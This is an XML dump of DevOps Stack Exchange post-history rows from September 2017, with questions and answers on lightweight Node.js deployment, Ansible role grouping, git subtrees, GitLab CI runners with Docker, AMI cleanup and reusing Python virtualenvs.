  <row Id="6240" PostHistoryTypeId="2" PostId="1978" RevisionGUID="7d1a94f9-b848-44f9-b1a1-b4e4f8ae4448" CreationDate="2017-09-11T12:36:13.773" UserId="4288" Text="I am looking for some way to have a maximally simple(no Jenkins or anything like that) automatic production deployment for a Node.js application on a RHEL 7 system. The caveat is:&#xD;&#xA;&#xD;&#xA;At the organization where I work, we have a very restricted IT environment, that prohibits access to any ports other than 80 and 443 from anywhere, and only allows 22(ssh) from within some rooms in the office building. To upload files a tunnel is needed which is slow and is also not available in some places. And SSHing to the server to run commands is a huge pain for multiple reasons too. And no - I can't do anything about it.&#xD;&#xA;&#xD;&#xA;In light of this the 'trigger' has to initiate from the server itself. The server should somehow decide to pull changes from a certain branch, ideally when a special commit message is seen, and then run some pre-configured scripts to deploy it. The tests at that point are already all done, the app has been at the staging and beta server and so the only things needed is to copy directory, update dependencies, compile frontend assets and restart the systemd service that runs the app (all that I already have in the script that Jenkins executes on staging server after running all the tests).&#xD;&#xA;&#xD;&#xA;I would imagine the sever would need to poll, e.g. every minute for changes to the repo, and yes, that can be done with a cron job, but I am not sure how, and if there are some tools that make it easier, without creating a resource hog that Jenkins does (which is what we use on our staging and beta servers), then I would like to know about it (I wasn't able to find anything yet, maybe I am not using the right search terms).&#xD;&#xA;&#xD;&#xA;Any advice?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6241" PostHistoryTypeId="1" PostId="1978" RevisionGUID="7d1a94f9-b848-44f9-b1a1-b4e4f8ae4448" CreationDate="2017-09-11T12:36:13.773" UserId="4288" Text="Automatic production deployment for a Node.js app on RHEL 7?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6242" PostHistoryTypeId="3" PostId="1978" RevisionGUID="7d1a94f9-b848-44f9-b1a1-b4e4f8ae4448" CreationDate="2017-09-11T12:36:13.773" UserId="4288" Text="&lt;git&gt;&lt;linux&gt;&lt;shell-script&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6244" PostHistoryTypeId="5" PostId="1978" RevisionGUID="4d9479cb-65bd-41c4-9afa-f86ef0a53c89" CreationDate="2017-09-11T12:49:15.757" UserId="4288" Comment="added 109 characters in body" Text="I am looking for some way to have a maximally simple(no Jenkins or anything like that) automatic production deployment for a Node.js application on a RHEL 7 system. The caveat is:&#xD;&#xA;&#xD;&#xA;At the organization where I work, we have a very restricted IT environment, that prohibits access to any ports other than 80 and 443 from anywhere, and only allows 22(ssh) from within some rooms in the office building. To upload files a tunnel is needed which is slow and is also not available in some places. And SSHing to the server to run commands is a huge pain for multiple reasons too. And no - I can't do anything about it.&#xD;&#xA;&#xD;&#xA;In light of this the 'trigger' has to initiate from the server itself. The server should somehow decide to pull changes from a certain branch, ideally when a special commit message is seen, and then run some pre-configured scripts to deploy it. The tests at that point are already all done, the app has been at the staging and beta server and so the only things needed is to copy directory, update dependencies, compile frontend assets and restart the systemd service that runs the app (all that I already have in the script that Jenkins executes on staging server after running all the tests).&#xD;&#xA;&#xD;&#xA;I would imagine the sever would need to poll, e.g. every minute for changes to the repo, and yes, that can be done with a cron job, but I am not sure how, and if there are some tools that make it easier, without creating a resource hog that Jenkins does (which is what we use on our staging and beta servers), then I would like to know about it (I wasn't able to find anything yet, maybe I am not using the right search terms).&#xD;&#xA;&#xD;&#xA;Note: I am aware of Puppet or Chef, but we would like to avoid proprietary solutions if possible for now. Some kind of Open Source solution, or simply a method of doing it using simple shell scripts would be best.&#xD;&#xA;&#xD;&#xA;Any advice?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6245" PostHistoryTypeId="2" PostId="1980" RevisionGUID="1255a969-50b7-4f1b-b855-6f3d853aebce" CreationDate="2017-09-11T13:00:56.343" UserId="13" Text="Ok, let's assume you'll pull the latest version of branch prod from a git repo, here's what it would take with chef on a basic illustrative purpose:&#xD;&#xA;&#xD;&#xA;    git &quot;/opt/my_application&quot; do&#xD;&#xA;      source &quot;https://&lt;git_host&gt;/&lt;you_repo_url&gt;/&lt;repo.git&gt;&quot;&#xD;&#xA;      revision &quot;production&quot;&#xD;&#xA;      action :sync&#xD;&#xA;      notifies :run,&quot;execute[app_config]&quot;&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    execute &quot;app_config&quot; do&#xD;&#xA;      command &quot;npm install&quot;&#xD;&#xA;      cwd &quot;/opt/my_application&quot;&#xD;&#xA;      action :nothing&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;For more advanced use cases you can have a look at the [poise](https://github.com/poise/application) application cookbooks, it includes a [javascript plugin](https://github.com/poise/application_javascript) for node.js application.&#xD;&#xA;&#xD;&#xA;chef is fully open source, either client or server side (out of the fancy UI) and on all OSes including windows." ContentLicense="CC BY-SA 3.0" />
  <row Id="6248" PostHistoryTypeId="5" PostId="1978" RevisionGUID="6c765ece-ab45-4eaa-906d-5d8c9a8d02db" CreationDate="2017-09-11T13:25:55.363" UserId="4288" Comment="added 253 characters in body" Text="I am looking for some way to have a maximally simple(no Jenkins or anything like that) automatic production deployment for a Node.js application on a RHEL 7 system. The caveat is:&#xD;&#xA;&#xD;&#xA;At the organization where I work, we have a very restricted IT environment, that prohibits access to any ports other than 80 and 443 from anywhere, and only allows 22(ssh) from within some rooms in the office building. To upload files a tunnel is needed which is slow and is also not available in some places. And SSHing to the server to run commands is a huge pain for multiple reasons too. And no - I can't do anything about it.&#xD;&#xA;&#xD;&#xA;In light of this the 'trigger' has to initiate from the server itself. The server should somehow decide to pull changes from a certain branch, ideally when a special commit message is seen, and then run some pre-configured scripts to deploy it. The tests at that point are already all done, the app has been at the staging and beta server and so the only things needed is to copy directory, update dependencies, compile frontend assets and restart the systemd service that runs the app (all that I already have in the script that Jenkins executes on staging server after running all the tests).&#xD;&#xA;&#xD;&#xA;I would imagine the sever would need to poll, e.g. every minute for changes to the repo, and yes, that can be done with a cron job, but I am not sure how, and if there are some tools that make it easier, without creating a resource hog that Jenkins does (which is what we use on our staging and beta servers), then I would like to know about it (I wasn't able to find anything yet, maybe I am not using the right search terms).&#xD;&#xA;&#xD;&#xA;Note: I am aware of Puppet or Chef, but we would like to avoid proprietary solutions if possible for now. Some kind of Open Source solution, or simply a method of doing it using simple shell scripts would be best.&#xD;&#xA;&#xD;&#xA;Any advice?&#xD;&#xA;&#xD;&#xA;Update: As Tensibai mentioned - Chef is open source and fits our purposes, but it's a huge platform with a lot of features, which is precisely what we are trying not to use in production server(otherwise we'd just use Jenkins like we do in staging)." ContentLicense="CC BY-SA 3.0" />
  <row Id="6249" PostHistoryTypeId="2" PostId="1981" RevisionGUID="bce096cc-29b6-4ce5-8232-a0eeca546c97" CreationDate="2017-09-11T13:29:13.017" UserId="4289" Text="I'm having issues working out how to best apply hosts/roles to different operating systems in Ansible.&#xD;&#xA;&#xD;&#xA;I'm currently using Ansible to generate Windows/Mac/Linux VMs, and each of the VMs have different roles which need to be applied to them.&#xD;&#xA;&#xD;&#xA;I've read the best practices and have tried to follow them, especially to use the grouping method, but I'm still unsure as they mostly mention webservers and dbservers.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;site.yml&#xD;&#xA;&#xD;&#xA;    - name: Apply common configuration to all nodes&#xD;&#xA;      hosts: all&#xD;&#xA;      roles:&#xD;&#xA;        - common&#xD;&#xA;    &#xD;&#xA;    - name: Configure and deploy test node 1&#xD;&#xA;      hosts: build-test-node&#xD;&#xA;      roles:&#xD;&#xA;        - build-machine-test-1&#xD;&#xA;    &#xD;&#xA;    - name: Configure and deploy SDK node&#xD;&#xA;      hosts: build-test-node-2&#xD;&#xA;      roles:&#xD;&#xA;        - build-machine-test-2&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;environments/test/groups&#xD;&#xA;&#xD;&#xA;    [win_build_nodes]&#xD;&#xA;    win_build_machine_1&#xD;&#xA;    win_build_machine_2&#xD;&#xA;    &#xD;&#xA;    [mac_build_nodes]&#xD;&#xA;    mac_build_machine_1&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;environments/test/hosts&#xD;&#xA;&#xD;&#xA;    win_build_machine_1   ansible_host=......&#xD;&#xA;    win_build_machine_2   ansible_host=......&#xD;&#xA;    mac_build_machine_1   ansible_host=......&#xD;&#xA; &#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;environments/test/meta&#xD;&#xA;&#xD;&#xA;    [mac_build_nodes]&#xD;&#xA;    [win_build_nodes]&#xD;&#xA;    &#xD;&#xA;    [win:children]&#xD;&#xA;    win_build_nodes&#xD;&#xA;    &#xD;&#xA;    [mac:children]&#xD;&#xA;    mac_build_nodes&#xD;&#xA;    &#xD;&#xA;    [linux:children]&#xD;&#xA;    &#xD;&#xA;    [build_nodes:children]&#xD;&#xA;    win_build_nodes&#xD;&#xA;    mac_build_nodes&#xD;&#xA;&#xD;&#xA;The `environment/test/meta` file I believe needs to be changed with the `build_nodes:children`, but I'm not sure what to. Previously I was just having the VMs have all the roles built to it with the following:&#xD;&#xA;&#xD;&#xA;Old site.yml&#xD;&#xA;&#xD;&#xA;    - name: Apply everything&#xD;&#xA;      hosts: build_nodes&#xD;&#xA;      roles:&#xD;&#xA;        - common&#xD;&#xA;        - build-machine-test-1&#xD;&#xA;        - build-machine-test-2&#xD;&#xA;&#xD;&#xA;But then realised I didn't want everything being built on the same machine. Note, `build-machine-test-1` and `2` both have separate Windows/Mac/Linux builds as they detect what to include based on the operating system.&#xD;&#xA;&#xD;&#xA;Can anyone suggest a better way of separating the VMs based on operating systems?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6250" PostHistoryTypeId="1" PostId="1981" RevisionGUID="bce096cc-29b6-4ce5-8232-a0eeca546c97" CreationDate="2017-09-11T13:29:13.017" UserId="4289" Text="Deploying VMs using roles and hosts in Ansible based on operating system" ContentLicense="CC BY-SA 3.0" />
  <row Id="6251" PostHistoryTypeId="3" PostId="1981" RevisionGUID="bce096cc-29b6-4ce5-8232-a0eeca546c97" CreationDate="2017-09-11T13:29:13.017" UserId="4289" Text="&lt;ansible&gt;&lt;environments&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6253" PostHistoryTypeId="2" PostId="1983" RevisionGUID="0228bc67-030a-4439-a04e-e475150f6a74" CreationDate="2017-09-11T15:07:33.703" UserId="2845" Text="You might not be able to get this done on the free tier. Puppet for example isn't going to want to start because of the RAM limitations. The AWS free tier uses thje t2.micro instance which only has [1GB of RAM](https://aws.amazon.com/ec2/instance-types/). Your operating system alone probably needs 512 to run at idle. This leaves you a mere 512 MB or ram for all of the things that you listed.&#xD;&#xA;&#xD;&#xA;While the issue with puppet not starting [can be overcome](https://docs.puppet.com/puppetserver/latest/install_from_packages.html#settings) by editing `/etc/sysconfig/puppetserver` and setting something like:&#xD;&#xA;&#xD;&#xA;    JAVA_ARGS=&quot;-Xms512m -Xmx512m&quot;&#xD;&#xA;&#xD;&#xA;(this issue arises because puppet expects 2 GB or RAM out of the box)&#xD;&#xA;&#xD;&#xA;You are bound to find that running all of these on a single server is debilitating and painful with only 1 GB of RAM. You should probably consider using something like [virtualbox](https://www.virtualbox.org/wiki/VirtualBox) on your PC or laptop so that you can get some more ram than that offered by the AWS free tier. I'd say you want at least 4 or maybe 8 GB of RAM. While this probably *can* be done, I don't recommend it. You may have to stop one service to run another which then makes it difficult to have one talk to the other (eg, ansible talk to Jenkins while puppet is running, for example.)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6255" PostHistoryTypeId="5" PostId="1978" RevisionGUID="41265dde-387d-4bd5-939e-1b0f867b73d0" CreationDate="2017-09-11T16:55:51.483" UserId="40" Comment="integrate comment from OPer" Text="I am looking for some way to have a maximally simple(no Jenkins or anything like that) automatic production deployment for a Node.js application on a RHEL 7 system. The caveat is:&#xD;&#xA;&#xD;&#xA;At the organization where I work, we have a very restricted IT environment, that prohibits access to any ports other than 80 and 443 from anywhere, and only allows 22(ssh) from within some rooms in the office building. To upload files a tunnel is needed which is slow and is also not available in some places. And SSHing to the server to run commands is a huge pain for multiple reasons too. And no - I can't do anything about it.&#xD;&#xA;&#xD;&#xA;In light of this the 'trigger' has to initiate from the server itself. The server should somehow decide to pull changes from a certain branch, ideally when a special commit message is seen, and then run some pre-configured scripts to deploy it. The tests at that point are already all done, the app has been at the staging and beta server and so the only things needed is to copy directory, update dependencies, compile frontend assets and restart the systemd service that runs the app (all that I already have in the script that Jenkins executes on staging server after running all the tests).&#xD;&#xA;&#xD;&#xA;I would imagine the sever would need to poll, e.g. every minute for changes to the repo, and yes, that can be done with a cron job, but I am not sure how, and if there are some tools that make it easier, without creating a resource hog that Jenkins does (which is what we use on our staging and beta servers), then I would like to know about it (I wasn't able to find anything yet, maybe I am not using the right search terms).&#xD;&#xA;&#xD;&#xA;Any advice?&#xD;&#xA;&#xD;&#xA;Update-1: I am aware of Puppet and Chef, but if at all possible, would prefer avoiding proprietary solutions if possible for now because a - our project is not big enough yet for the decision makers to put real resources in it, and b - even if those have free versions available, they are most likely cumbersome and do a lot of things, whereas we want as simple a solution as possible, because that solution might be part of the package if we sell the project elsewhere (naturally we don't want to also &quot;re-sell&quot; Puppet or Chef). Some kind of Open Source solution, or simply a method of doing it using simple shell scripts would be best.&#xD;&#xA;&#xD;&#xA;Update-2: As Tensibai mentioned - Chef is open source and fits our purposes, but it's a huge platform with a lot of features, which is precisely what we are trying not to use in production server (otherwise we'd just use Jenkins like we do in staging).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6256" PostHistoryTypeId="2" PostId="1984" RevisionGUID="bbbab919-aa32-440f-ba53-377cf5c63de7" CreationDate="2017-09-11T18:22:49.063" UserId="3453" Text="**Problem:** &#xD;&#xA;&#xD;&#xA;We use Data Transfer Objects to ensure consistent interfaces across multiple services. &#xD;&#xA;&#xD;&#xA;We're currently using a git subtree in order to make sure that each repository has its DTO dependencies up to date. These DTOs are changed semi-frequently. &#xD;&#xA;&#xD;&#xA;The challenging part is that subtree pull / subtree push are outside the traditional git process for most developers. &#xD;&#xA;&#xD;&#xA;**Question:**&#xD;&#xA;&#xD;&#xA;What process patterns have people found work well to ensure each related repositories subtree is up to date on each push / pull? Post commit hooks? CI scripts? Etc. etc? " ContentLicense="CC BY-SA 3.0" />
  <row Id="6257" PostHistoryTypeId="1" PostId="1984" RevisionGUID="bbbab919-aa32-440f-ba53-377cf5c63de7" CreationDate="2017-09-11T18:22:49.063" UserId="3453" Text="How do i ensure git subtrees are kept up to date?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6258" PostHistoryTypeId="3" PostId="1984" RevisionGUID="bbbab919-aa32-440f-ba53-377cf5c63de7" CreationDate="2017-09-11T18:22:49.063" UserId="3453" Text="&lt;git&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6259" PostHistoryTypeId="2" PostId="1985" RevisionGUID="db452bbb-da36-4aa2-b496-e015a35a791a" CreationDate="2017-09-11T19:07:52.973" UserId="4294" Text="When I try to create ansible host file as follows: &#xD;&#xA;&#xD;&#xA;    sudo vi /usr/local/etc/ansible/hosts&#xD;&#xA;&#xD;&#xA;When I try to save the file I get following error:&#xD;&#xA;&#xD;&#xA;    &quot;/usr/local/etc/ansible/hosts&quot; E212: Can't open file for writing&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6260" PostHistoryTypeId="1" PostId="1985" RevisionGUID="db452bbb-da36-4aa2-b496-e015a35a791a" CreationDate="2017-09-11T19:07:52.973" UserId="4294" Text="How to create ansible host file on mac?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6261" PostHistoryTypeId="3" PostId="1985" RevisionGUID="db452bbb-da36-4aa2-b496-e015a35a791a" CreationDate="2017-09-11T19:07:52.973" UserId="4294" Text="&lt;ansible&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6263" PostHistoryTypeId="2" PostId="1987" RevisionGUID="90641f26-2d69-4c5d-beaf-1360707eb6fd" CreationDate="2017-09-11T19:42:32.010" UserId="210" Text="I prefer [DIND][1] as every run start with a clean sheet. Otherwise the docker image will be built on the gitlab host itself.&#xD;&#xA;&#xD;&#xA; - installation of gitlab runner&#xD;&#xA; - registration of runner&#xD;&#xA;&#xD;&#xA;&gt;     sudo gitlab-ci-multi-runner register -n \&#xD;&#xA;&gt;       --url https://gitlab.com/ \&#xD;&#xA;&gt;       --registration-token REGISTRATION_TOKEN \&#xD;&#xA;&gt;       --executor docker \&#xD;&#xA;&gt;       --description &quot;My Docker Runner&quot; \&#xD;&#xA;&gt;       --docker-image &quot;docker:latest&quot; \&#xD;&#xA;&gt;       --docker-privileged&#xD;&#xA;&#xD;&#xA; - commit and push .gitlab-ci.yml&#xD;&#xA;&#xD;&#xA;&gt;     image: docker:latest&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     # When using dind, it's wise to use the overlayfs driver for&#xD;&#xA;&gt;     # improved performance.&#xD;&#xA;&gt;     variables:&#xD;&#xA;&gt;       DOCKER_DRIVER: overlay2&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     services:&#xD;&#xA;&gt;     - docker:dind&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     before_script:&#xD;&#xA;&gt;     - docker info&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     build:&#xD;&#xA;&gt;       stage: build&#xD;&#xA;&gt;       script:&#xD;&#xA;&gt;       - docker build -t my-docker-image .&#xD;&#xA;&gt;       - docker run my-docker-image /script/to/run/tests&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ce/ci/docker/using_docker_build.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="6264" PostHistoryTypeId="5" PostId="1984" RevisionGUID="85796b83-dc26-4afd-a22d-bf0d1be6c4f4" CreationDate="2017-09-11T20:15:07.800" UserId="3453" Comment="added 17 characters in body" Text="**Problem:** &#xD;&#xA;&#xD;&#xA;We use Data Transfer Objects to ensure consistent interfaces across multiple services using TypeScript. &#xD;&#xA;&#xD;&#xA;We're currently using a git subtree in order to make sure that each repository has its DTO dependencies up to date. These DTOs are changed semi-frequently. &#xD;&#xA;&#xD;&#xA;The challenging part is that subtree pull / subtree push are outside the traditional git process for most developers. &#xD;&#xA;&#xD;&#xA;**Question:**&#xD;&#xA;&#xD;&#xA;What process patterns have people found work well to ensure each related repositories subtree is up to date on each push / pull? Post commit hooks? CI scripts? Etc. etc? " ContentLicense="CC BY-SA 3.0" />
  <row Id="6265" PostHistoryTypeId="5" PostId="1984" RevisionGUID="8c755e45-4114-4e3b-b74f-79e1cf845654" CreationDate="2017-09-11T20:16:00.290" UserId="210" Comment="added 6 characters in body" Text="**Problem:** &#xD;&#xA;&#xD;&#xA;We use Data Transfer Objects (DTO) to ensure consistent interfaces across multiple services using TypeScript. &#xD;&#xA;&#xD;&#xA;We're currently using a git subtree in order to make sure that each repository has its DTO dependencies up to date. These DTOs are changed semi-frequently. &#xD;&#xA;&#xD;&#xA;The challenging part is that subtree pull / subtree push are outside the traditional git process for most developers. &#xD;&#xA;&#xD;&#xA;**Question:**&#xD;&#xA;&#xD;&#xA;What process patterns have people found work well to ensure each related repositories subtree is up to date on each push / pull? Post commit hooks? CI scripts? Etc. etc? " ContentLicense="CC BY-SA 3.0" />
  <row Id="6266" PostHistoryTypeId="2" PostId="1988" RevisionGUID="f6652869-67ca-4c24-8d42-3d8bd78b80ef" CreationDate="2017-09-11T22:59:08.663" UserId="4297" Text="I used the following script on GitHub by Rodrigue Koffi (bonclay7) and it works pretty good.&#xD;&#xA;&#xD;&#xA;https://github.com/bonclay7/aws-amicleaner&#xD;&#xA;&#xD;&#xA;Command:&#xD;&#xA;amicleaner --check-orphans" ContentLicense="CC BY-SA 3.0" />
  <row Id="6272" PostHistoryTypeId="5" PostId="1988" RevisionGUID="964b191d-c441-4d09-be88-40570d983fa7" CreationDate="2017-09-12T07:51:46.423" UserId="13" Comment="added 657 characters in body" Text="I used the following script on GitHub by Rodrigue Koffi (bonclay7) and it works pretty good.&#xD;&#xA;&#xD;&#xA;https://github.com/bonclay7/aws-amicleaner&#xD;&#xA;&#xD;&#xA;Command:&#xD;&#xA;&#xD;&#xA;    amicleaner --check-orphans&#xD;&#xA;&#xD;&#xA;From the documentation [blog post](http://techblog.d2-si.eu/2017/06/15/cleaning-your-amazon-machine-images.html) it does some more things:&#xD;&#xA;&#xD;&#xA;&gt; It actually does a bit more than that, at of today it allows:&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - Removing a list of images and associated snapshots&#xD;&#xA;&gt;  - Mapping AMIs:&#xD;&#xA;&gt;    - Using names&#xD;&#xA;&gt;    - Using tags&#xD;&#xA;&gt;  - Filtering AMIs:&#xD;&#xA;&gt;    - used by running instances&#xD;&#xA;&gt;    - from autoscaling groups (launch configurations) with a desired capacity set to 0&#xD;&#xA;&gt;    - from launch configurations detached from autoscaling groups&#xD;&#xA;&gt;  - Specifying how many AMIs you want to keep&#xD;&#xA;&gt;  - Cleaning orphan snapshots&#xD;&#xA;&gt;  - A bit of reporting&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6273" PostHistoryTypeId="5" PostId="1981" RevisionGUID="c449915c-ddfd-42bf-8e65-0ed0ed85eeab" CreationDate="2017-09-12T08:06:23.013" UserId="4289" Comment="added 3 characters in body" Text="I'm having issues working out how to best apply hosts/roles to different operating systems in Ansible.&#xD;&#xA;&#xD;&#xA;I'm currently using Ansible to generate Windows/Mac/Linux VMs, and each of the VMs have different roles which need to be applied to them.&#xD;&#xA;&#xD;&#xA;I've read the best practices and have tried to follow them, especially to use the grouping method, but I'm still unsure as they mostly mention webservers and dbservers.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;site.yml&#xD;&#xA;&#xD;&#xA;    - name: Apply common configuration to all nodes&#xD;&#xA;      hosts: all&#xD;&#xA;      roles:&#xD;&#xA;        - common&#xD;&#xA;    &#xD;&#xA;    - name: Configure and deploy test node 1&#xD;&#xA;      hosts: build-test-node&#xD;&#xA;      roles:&#xD;&#xA;        - build-machine-test-1&#xD;&#xA;    &#xD;&#xA;    - name: Configure and deploy test node 2&#xD;&#xA;      hosts: build-test-node-2&#xD;&#xA;      roles:&#xD;&#xA;        - build-machine-test-2&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;environments/test/groups&#xD;&#xA;&#xD;&#xA;    [win_build_nodes]&#xD;&#xA;    win_build_machine_1&#xD;&#xA;    win_build_machine_2&#xD;&#xA;    &#xD;&#xA;    [mac_build_nodes]&#xD;&#xA;    mac_build_machine_1&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;environments/test/hosts&#xD;&#xA;&#xD;&#xA;    win_build_machine_1   ansible_host=......&#xD;&#xA;    win_build_machine_2   ansible_host=......&#xD;&#xA;    mac_build_machine_1   ansible_host=......&#xD;&#xA; &#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;environments/test/meta&#xD;&#xA;&#xD;&#xA;    [mac_build_nodes]&#xD;&#xA;    [win_build_nodes]&#xD;&#xA;    &#xD;&#xA;    [win:children]&#xD;&#xA;    win_build_nodes&#xD;&#xA;    &#xD;&#xA;    [mac:children]&#xD;&#xA;    mac_build_nodes&#xD;&#xA;    &#xD;&#xA;    [linux:children]&#xD;&#xA;    &#xD;&#xA;    [build_nodes:children]&#xD;&#xA;    win_build_nodes&#xD;&#xA;    mac_build_nodes&#xD;&#xA;&#xD;&#xA;The `environment/test/meta` file I believe needs to be changed with the `build_nodes:children`, but I'm not sure what to. Previously I was just having the VMs have all the roles built to it with the following:&#xD;&#xA;&#xD;&#xA;Old site.yml&#xD;&#xA;&#xD;&#xA;    - name: Apply everything&#xD;&#xA;      hosts: build_nodes&#xD;&#xA;      roles:&#xD;&#xA;        - common&#xD;&#xA;        - build-machine-test-1&#xD;&#xA;        - build-machine-test-2&#xD;&#xA;&#xD;&#xA;But then realised I didn't want everything being built on the same machine. Note, `build-machine-test-1` and `2` both have separate Windows/Mac/Linux builds as they detect what to include based on the operating system.&#xD;&#xA;&#xD;&#xA;Can anyone suggest a better way of separating the VMs based on operating systems?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6274" PostHistoryTypeId="2" PostId="1990" RevisionGUID="75d7ae03-1c41-4523-9a41-36a59acd1c07" CreationDate="2017-09-12T08:57:41.220" UserId="4018" Text="Gitlab CI supports running all of your builds inside Docker containers so you have a clean build environment every time. I'd recommend starting with the basic [Docker executor][1] but there is also an opportunity to [autoscale your runners][2] using [Docker Machine][3] or to [execute the runners on a Kubernetes pod][4].&#xD;&#xA;&#xD;&#xA;If you need to use Docker as part of your build (such as building, tagging and pushing images) then you can either use [Docker in Docker][5] or, preferably, [bind mount the Docker socket][6] of the host into your runner allowing it to run Docker containers as a sibling rather than child process. Note that the [original author of DIND][7] [recommends][8] using bind mounting instead of DIND, especially for CI.&#xD;&#xA;&#xD;&#xA;To bind mount the Docker socket register your runner with the following command:&#xD;&#xA;&#xD;&#xA;    sudo gitlab-runner register -n \&#xD;&#xA;      --url https://gitlab.com/ \&#xD;&#xA;      --registration-token REGISTRATION_TOKEN \&#xD;&#xA;      --executor docker \&#xD;&#xA;      --description &quot;My Docker Runner&quot; \&#xD;&#xA;      --docker-image &quot;docker:latest&quot; \&#xD;&#xA;      --docker-volumes /var/run/docker.sock:/var/run/docker.sock&#xD;&#xA;&#xD;&#xA;And then in your `.gitlab-ci.yml` file you can define your job as so:&#xD;&#xA;&#xD;&#xA;    image: docker:latest&#xD;&#xA;    &#xD;&#xA;    before_script:&#xD;&#xA;    - docker info&#xD;&#xA;&#xD;&#xA;    build:&#xD;&#xA;      stage: build&#xD;&#xA;      script:&#xD;&#xA;      - docker build -t my-docker-image .&#xD;&#xA;      - docker run my-docker-image /script/to/run/tests&#xD;&#xA;&#xD;&#xA;Using just the basic `docker` image rather than the `docker:dind` image&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/runner/executors/docker.html&#xD;&#xA;  [2]: https://docs.gitlab.com/runner/install/autoscaling.html&#xD;&#xA;  [3]: https://docs.docker.com/machine/&#xD;&#xA;  [4]: https://docs.gitlab.com/runner/executors/kubernetes.html&#xD;&#xA;  [5]: https://docs.gitlab.com/ce/ci/docker/using_docker_build.html#use-docker-in-docker-executor&#xD;&#xA;  [6]: https://docs.gitlab.com/ce/ci/docker/using_docker_build.html#use-docker-socket-binding&#xD;&#xA;  [7]: https://jpetazzo.github.io/&#xD;&#xA;  [8]: https://jpetazzo.github.io/2015/09/03/do-not-use-docker-in-docker-for-ci/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6277" PostHistoryTypeId="2" PostId="1991" RevisionGUID="e9fb6696-3a76-434a-a232-9ceceb45387f" CreationDate="2017-09-12T11:30:32.160" UserId="786" Text="The [Azure free trial][1] gives you $200 in credit for the first month which is plenty of capacity spin up many VMs of an adequate size to run all the tools you mention. I would advise not starting the trial period until you have a good plan of what you want to do, to get maximum benefit from it. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Provision up to 14 virtual machines, 40 SQL databases or 8 TB of&#xD;&#xA;&gt; storage for a month&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-gb/free/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6278" PostHistoryTypeId="33" PostId="1958" RevisionGUID="4c30ec8b-8a1f-466f-8447-aed07e393bad" CreationDate="2017-09-12T13:49:02.553" UserId="60" Comment="7" />
  <row Id="6279" PostHistoryTypeId="2" PostId="1992" RevisionGUID="01f7d982-45c6-458a-8665-16e372c90e05" CreationDate="2017-09-12T14:23:26.593" UserId="60" Text="Currently, every time we run a build through Jenkins+Ansible, we are re-creating a virtual environment and re-installing all the dependencies  listed inside the `requirements.txt` file.&#xD;&#xA;&#xD;&#xA;This is very slow and does not scale well. How can we improve and speed up the process? Can we re-use virtual environments?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Our latest idea which we have not yet implemented was to build virtual environments outside of a Jenkins workspace, name virtual environments based on a project+branch and keep an MD5 sum of the requirements for every virtual environment. Then, before building an environment the next time, we calculate the MD5 sum of the current requirements in this branch and look up existing virtual environments by this MD5 sum. If an existing environment with this sum was found, just re-use it. We are not sure if this is the best way to solve the problem." ContentLicense="CC BY-SA 3.0" />
  <row Id="6280" PostHistoryTypeId="1" PostId="1992" RevisionGUID="01f7d982-45c6-458a-8665-16e372c90e05" CreationDate="2017-09-12T14:23:26.593" UserId="60" Text="Re-using Python virtual environments on a build server" ContentLicense="CC BY-SA 3.0" />
  <row Id="6281" PostHistoryTypeId="3" PostId="1992" RevisionGUID="01f7d982-45c6-458a-8665-16e372c90e05" CreationDate="2017-09-12T14:23:26.593" UserId="60" Text="&lt;jenkins&gt;&lt;ansible&gt;&lt;python&gt;&lt;virtualenv&gt;" ContentLicense="CC BY-SA 3.0" />
